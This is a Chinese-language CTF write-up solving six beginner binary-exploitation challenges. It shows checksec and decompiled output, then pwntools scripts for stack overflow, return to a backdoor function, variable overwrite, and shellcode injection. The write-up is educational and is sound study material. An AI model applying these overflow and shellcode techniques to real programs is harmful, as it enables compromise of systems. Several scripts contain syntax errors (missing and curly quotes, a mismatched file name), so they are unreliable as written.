10-15CTF

[SWPUCTF 2021 新生赛]nc签到

nc直接连接cat flag就行,没什么好说的,签到题目

[SWPUCTF 2021 新生赛]gift_pwn

1
2
3
4
5
6
7
checksec --file=1
[*] '/mnt/hgfs/windowshare/1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

checksec检查文件保护,ida分析

1
2
3
4
5
int __fastcall main(int argc, const char **argv, const char **envp)
{
vuln(argc, argv, envp);
return 0;
}

发现vuln函数,跟进

1
2
3
4
5
6
ssize_t vuln()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

return read(0, buf, 0x64uLL);
}

发现read漏洞函数,同时buf距离rbp寄存器为0x10

左侧导航栏看见gift函数,跟进得到/bin/sh起始地址

exp如下

1
2
3
4
5
6
7
python>>
from pwn import*
p = process(./pwn1)
gift = 0x4006b6
payload = b'a'*(0x10+0x8)+p64(gift)
p.sendline(payload)
p.interactive()

[LitCTF 2023]只需要nc一下~

和第一道题一样,nc过去直接找flag,简单

[NISACTF 2022]ReorPwn?

checksec正常检查

1
2
3
4
5
6
7
[*] '/mnt/hgfs/windowshare/re'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

开启了NX(栈不可执行)保护和PIE(地址空间布局随机化)保护

可谓是火力全开

ida查看文件

1
2
3
4
5
6
7
8
9
10
11
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("evcexe ot tnaw uoy tahw em lleT:");
gets(a);
fun(a);
system(a);
return 0;
}

发现fun函数,跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall fun(const char *a1)
{
__int64 result; // rax
char v2; // [rsp+17h] [rbp-9h]
int i; // [rsp+18h] [rbp-8h]
int v4; // [rsp+1Ch] [rbp-4h]

v4 = strlen(a1);
for ( i = 0; ; ++i )
{
result = (unsigned int)(v4 / 2);
if ( i >= (int)result )
break;
v2 = a1[i];
a1[i] = a1[v4 - i - 1];
a1[v4 - i - 1] = v2;
}
return result;
}

观察if语句,发现它交换了我们输入的数值,也就是题目给的倒序输出

fun函数输出给main函数,然后执行,观察到有system只需要/bin/sh即可拿到shell

exp

1
2
3
4
5
6
python>
from pwn import*
p = process(./pwn1)
payload = hs/nib
p.sendline(payload)
p.interactive()

简单且有趣

[CISCN 2019华北]PWN1

checksec检查一下

1
2
3
4
5
6
7
[*] '/mnt/hgfs/windowshare/[CISCN 2019华北]PWN1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

开启了NX保护

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}

发现func函数,跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}

观察代码我们可以发现我们要通过覆盖变量的返回值来使得v2=11.28125

但是不能直接输入11.28125,要转换成16进制数

ida中查看汇编可以观察到0x4007F4这个地址里面有11.28125的16进制数

是0x41348000

exp

1
2
3
4
5
6
python>>
from pwn import*
p = process(./pwn1)
payload = b'a'*(0x30-0x4)+p64(0x41348000)
p.sendline(payload)
p.interactive()

[HNCTF 2022 Week1]ret2shellcode

checksec检查一下

1
2
3
4
5
6
[*] '/mnt/hgfs/windowshare/shellcode'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

可以看到开启了NX保护

没有PIE不需要gdb动态调试

ida查看源文件

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[256]; // [rsp+0h] [rbp-100h] BYREF

setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
memset(s, 0, sizeof(s));
read(0, s, 0x110uLL);
strcpy(buff, s);
return 0;
}

有NX保护看似不能ret2shellcode

观察到有mprotect函数(自行百度)

buf_addr = 0x4040A0//注意这里的地址是bss段的,re2shellcode就是要在bss段传入写好的shell

有read溢出点,没有后门函数

满足ret2shellcode条件

直接打!

exp//架构一定要加因为elf文件是64位,不加会EOF

1
2
3
4
5
6
7
8
9
python>>
from pwn import *
context.log_level=“DEBUG”
context.arch=‘amd64’
p = process('./shellcode')
sh = asm(shellcraft.sh())
payload_1=sh.ljust(0x108,b’a’)+p64(0x4040A0)
p.sendline(payload_1)
p.interactive()

拿到shell